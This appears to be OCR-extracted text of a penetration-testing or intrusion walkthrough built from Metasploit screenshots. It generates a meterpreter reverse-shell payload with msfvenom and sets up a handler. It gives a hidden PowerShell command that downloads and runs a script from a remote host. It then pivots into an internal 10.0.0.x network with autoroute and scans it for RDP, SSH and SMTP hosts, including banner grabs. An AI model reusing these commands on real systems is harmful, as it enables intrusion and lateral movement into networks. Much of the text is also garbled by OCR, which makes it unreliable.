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msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST =XXX.XXX.XXX.XXX
LPORT=xx -f psh-reflection >xx.psl

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost xxx.xxx.xxx.Xxx

lhost => XXX XXX.XXX.XXX

msf exploit(handler) > set Iport xxx

lport => xxx

msf > run

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString(*http://xxx.xxx.xxx.xxx/xxx.ps1");"
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ce=10.0,0 , .
=dbo

;User ID=sa:In

D:h=exlt
meterpreter = run autoroute -5 10.0.0.1/24

[!]1 Meterpreter scripts are deprecated. Try postsmultismanagesautoroute,
[!] Example: run po f:
[#] Adding a route to 10.0.0.1/255. 25 u

[+] Added route to 10.0.0.1 Ha 50.175.110.178
[*] Use the -p Dptinﬂ to list all active routes
meterpreter = run autoroute -p

[!'] WMeterpreter scripts are deprecated. Try post/multismanagesautoroute,
['] Example: run postsmultismanagesautoroute OPTIOM=value [...]

Metmask Gateway

10.0.0.1 255,255, 255.0

meterpreter =
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[+] IF: 10.6.0
[+] IF:
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IP: 10.0.0,87

10.0.0.x E&{EERIER :
IP 1-50 open 3389  ( ZB%)
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1 = set PORTS 3389

) = set RHOSTS 10.0.0.1-50
=]

1 = set THREADS 2

= run
QFEM
X - - TCP OPEN
10.0.0,5: - N - QPEM
Scanned 5 of 50 hosts
10,0.0.7: - C ¢ 8 - TCP OPEM
[+] 10.0.0.2: -10.0.0.2:3389 - TCP OPEN
[+] 10.0.0.3: -10.0.0.3:3389 - TCP OPEN
[+] 10.0.0.5: -10.0.0.5:3389 - TCP OPEN
[+] 10.0.0.7: -10.0.0.7:3389 - TCP OPEN
[+] 10.0.0.9: - 10.0.0.9:3389 - TCP OPEN
[+] 10.0.0.12: -10.0.0.12:3389 - TCP OPEN
[+] 10.0.0.13: - 10.0.0.13:3389 - TCP OPEN
[+] 10.0.0.14: -10.0.0.14:3389 - TCP OPEN
[+] 10.0.0.26: - 10.0.0.26:3389 - TCP OPEN
[+] 10.0.0.28: -10.0.0.28:3389 - TCP OPEN
[+] 10.0.0.32: - 10.0.0.32:3389 - TCP OPEN

IP1

-255 open 22,25 ( %% )

[

ttcpl = run

[+] 16.8.0.3: - 10.0.0,2:25 - TCP OPEM
[+] 10.08.0.5: - 18.0.0,5:25% - TCP OPENM
|

[+] 10.0.0.3: - 10.0.0.3:25 - TCP OPEN

[+] 10.0.0.5: - 10.0.0.5:25 - TCP OPEN

[+] 10.0.0.14: - 10.0.0.14:25 - TCP OPEN

[+] 10.0.0.15: - 10.0.0.15:22 - TCP OPEN

[+] 10.0.0.16: - 10.0.0.16:22 - TCP OPEN

[+] 10.0.0.17: - 10.0.0.17:22 - TCP OPEN

[+] 10.0.0.20: - 10.0.0.20:22 - TCP OPEN

[+] 10.0.0.21: - 10.0.0.21:22 - TCP OPEN

[+] 10.0.0.31: - 10.0.0.31:22 - TCP OPEN

[+] 10.0.0.38: - 10.0.0.38:22 - TCP OPEN

[+] 10.0.0.40: - 10.0.0.40:22 - TCP OPEN

[+] 10.0.0.99: - 10.0.0.99:22 - TCP OPEN

[+] 10.0.0.251: -10.0.0.251:22 - TCP OPEN

[+] 10.0.0.254: - 10.0.0.254:22 - TCP OPEN

IP 1-255 smtp for version ( ZB% )



1 = set RHOSTS 10.0.0,3-

1 = get THREADS 2

1 = run

- 100,030,325 SMTR 220 NE

Scanned 3 of B

msf auxiliary(smtp_version) > run

[+] 10.0.0.3:25 - 10.0.0.3:25 SMTP 220 xxxxxxxxxxxxxxxxx MAIL Service,
Version: 7.5.7601.17514 ready at Wed, 14 Feb 2018 18:28:44 +0800 \x0d\x0a
[+] 10.0.0.5:25 - 10.0.0.5:25 SMTP 220 XxXxXXXXXXXXXXXxxxX Microsoft ESMTP

MAIL Service, Version: 7.5.7601.17514 ready at Wed, 14 Feb 2018 18:29:05 +0800
\x0d\x0a

[+] 10.0.0.14:25 - 10.0.0.14:25 SMTP 220 xxxxxxxxxxxxxxxxxt ESMTP MAIL
Service, Version: 7.0.6002.18264 ready at Wed, 14 Feb 2018 18:30:32 +0800 \x0d\x0a
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